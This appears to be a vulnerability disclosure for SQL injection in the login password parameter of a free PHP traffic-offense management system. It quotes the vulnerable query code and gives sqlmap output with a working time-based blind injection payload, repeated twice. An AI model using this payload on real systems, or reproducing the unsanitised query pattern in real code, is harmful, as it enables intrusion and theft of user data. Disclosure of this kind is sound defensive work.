SQL injection vulnerability exists in password parameter of /classes/Login.php file of Online Traffic Offense Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
18      public function login(){
19          extract($_POST);
20
21          $qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");
22          if($qry->num_rows > 0){
```

```
sqlmap identified the following injection point(s) with a total of 365 HTTP(s) requests:
---
Parameter: password (POST)
    Type: time-based blind
    Title: MySQL ⩾ 5.0.12 AND time-based blind (query SLEEP)
    Payload: password=1') AND (SELECT 2265 FROM (SELECT(SLEEP(5)))Nzog) AND ('fVoU'='fVoU&usern
ame=2
---
```

“

Parameter: password (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: password=1') AND (SELECT 2265 FROM (SELECT(SLEEP(5)))Nzog) AND ('fVoU'='fVoU&username=2

“

Source Download：

https://www.campcodes.com/projects/php/online-traffic-offense-management-system-in-php-free-source-code/